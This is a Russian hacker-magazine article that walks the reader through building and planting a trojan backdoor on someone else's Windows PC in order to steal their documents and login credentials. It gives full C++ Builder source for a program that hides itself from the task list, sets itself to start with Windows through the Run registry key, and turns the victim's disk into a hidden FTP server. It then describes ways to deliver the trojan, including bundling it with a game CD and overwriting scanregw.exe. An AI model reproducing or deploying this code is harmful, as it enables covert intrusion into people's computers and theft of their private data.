“Бойтесь данайцев, дары
подносящих…”
Ахилл, админ города Троя.

Привет, перец! Сегодня расскажу тебе, как
поступить с челом, который зажимает от тебя
свои секреты (доки разные, login & password от
халявного инета и т.д.), да и вообще, не
выполняет принцип "Начал мычать — давай
молоко" 🙂

Сразу напрашивается мысль — превратить весь
хард его компа в FTP, для чего тебе
понадобятся:

1) C++ Builder (если привык писать на Западло++) или
Delphi (aka Pascal)

2) Интернет-компоненты от Francois PIETTE (халявный
download): http://sme.belgium.eu.net/~vip107/ics.zip.
Компоненты полезны сами по себе: тут есть
почти всё, от PING’a до MIME Decode. И в последующих
заподлянках я собираюсь их юзать по полной —
так что затаривайся их исходниками, пока
буржуи добрые 🙂 

3) Эта статья 🙂

4) Немного его доверчивости/жадности.

Итак, качаешь компоненты из инета (они
халявные) и инсталишь их в палитру
компонентов C++Builder или Delphi (хелп по
установке к ним прилагается). Создаёшь
новый проект (“File->New Application”) и размещаешь
на морде окна твоей проги компонент FtpServer.
Файл Unit1.cpp привожу в масштабе 1:1 (для С++ Builder).
Если надумал писать на Дельфях — тут я тебе
не советчик…

//——
#include <vcl.h>
#include <vcl/registry.hpp> // Для работы с реестром
#pragma hdrstop

#include "Unit1.h"
#include <winbase.h>
//——
#pragma package(smart_init)
#pragma link "FtpSrv"
#pragma resource "*.dfm"
TForm1 *Form1;
//——
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
//——
void __fastcall TForm1::FormPaint(TObject *Sender)
{
/* Прячем программу из списка задач,
того самого, который видно по Ctrl+Alt+Del */

// Объявляем тип функции и указатель на неё
typedef int (CALLBACK* lpfn)(int, int);
lpfn func;
// Заимствуем у ядра функцию регистрации
сервисного процесса
HINSTANCE hDLL = LoadLibrary("kernel32.dll");
func = (lpfn)GetProcAddress(hDLL,"RegisterServiceProcess");
// Раз — и в списке задач проги нет 🙂
func(GetCurrentProcessId(),1);
// Прячем окно проги с глаз долой
Hide(); 

/* Прописываем новый софт в автозагрузку 🙂 */

TRegistry *Reg = new TRegistry;
Reg->RootKey = HKEY_CURRENT_USER;
if(Reg->OpenKey("\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",true))
Reg->WriteString("Winoldap","\"" + ParamStr(0) +
"\"");
Reg->CloseKey();
delete Reg;

/* Пробуем включить сервак */

try
{
// Строка отклика FTP клиенту
// Которым ты, кул хацкер, будешь потрошить
машину врага
// И по которой определишь — успешно ли
внедрилась твоя прога
FtpServer1->Banner="220 Приветики, потрошитель
:)";
// Максимальное число подсоединений
// Чем больше, тем лучше (хочется скачивать,
закачивать
// и удалять — и всё сразу 🙂
FtpServer1->MaxClients=999;
// Порт — лучше не оставлять по умолчанию
// Если враг умный и смог настроить
// свой FTP на 21 порту — твоя прога просто не
запустится
FtpServer1->Port="65555";
// Поехали !!!
FtpServer1->Start();
}

/* Если не получается (например, порт уже
занят) — выход */

catch(…)
{
Close();
}
}
//——
void __fastcall TForm1::FtpServer1Authenticate(TObject *Sender,
TFtpCtrlSocket *Client, TFtpString &UserName, TFtpString &Password,
bool &Authenticated)
{
AnsiString user="user"; // Ваш желаемый LOGIN
AnsiString pass="password"; // Ваш желаемый ПАРОЛЬ
:)))

/* А чтобы всякие ламеры, которые насканят
этот порт,
не мешались — делаем аутенификацию */

if(AnsiString(UserName)!=user && AnsiString(Password)!=pass)
Client->SendStr("421 Отдохни, ламер.\r\n");
}
//——

Остальные файлы проекта остаются такими же,
как и были.

Прога прячется от дульки (Ctrl+Alt+Del) в Win98,
регистрируя свой процесс как “сервисный”.
Выследить и убить её можно, только запустив
какой-нибудь софт, который просматривает
все процессы в системе.

Achtung! Если его комп пашет под Win2000 или WinNT, то
из исходника надо выдрать кусок, где прога
прячется из списка задач, т.е. прописывает
себя как Service (только оставь функцию Hide(); ).
По непонятным причинам в списке задач по
этими типами виндов её и так не видно, чего
не скажешь о списке процессов (над этим
сейчас и работаю 🙂 

Ну вот, <Ctrl>+<F9>, немцы — в Немеции,
венцы — в Венеции: прога откомпилена и
готова к употреблению (советую её сжать EXE-архиватором
ASPack — будет весть кил 200 или около того).
Теперь остаётся её красиво вручить… 

Варианты:
1) Если он ламерOK — приносишь, прячешь куда-нибудь
далеко в каталогах его винды и запускаешь (пока
он вышел по Reset в ту…). 

1а) Делаешь красочный компакт с игрой (не
твоей) и прогой (твоей). Прога — в
автозагрузке копирует в винду и запускает
твою прогу, затем запускает собственно
инсталяк игры.

2) Если же он ламерCANCEL и, прикинувшись
Буратиной, полезет искать в реестре золотой
ключик автозапуска … фиг Вам, как говорил
мой друг индеец Winнету — он обломится, если
ты скопируешь свою прогу (предварительно
убрав из исходника пропись в реестр) поверх
C:\WINDOWS\scanregw.exe, например.

P.S. Есть ещё призрачная возможность
спрятать прогу и из процессов (процессы,
порождённые процессами — не видны. Пример —
все DLL, которые юзаются какой-нибудь прогой
🙂 Но об этом — в следующий раз.

1 комментарий

  1. 26.10.2014 at 10:56

Оставить мнение

Check Also

LUKS container vs Border Patrol Agent. Как уберечь свои данные, пересекая границу

Не секрет, что если ты собрался посетить такие страны как США или Великобританию то, прежд…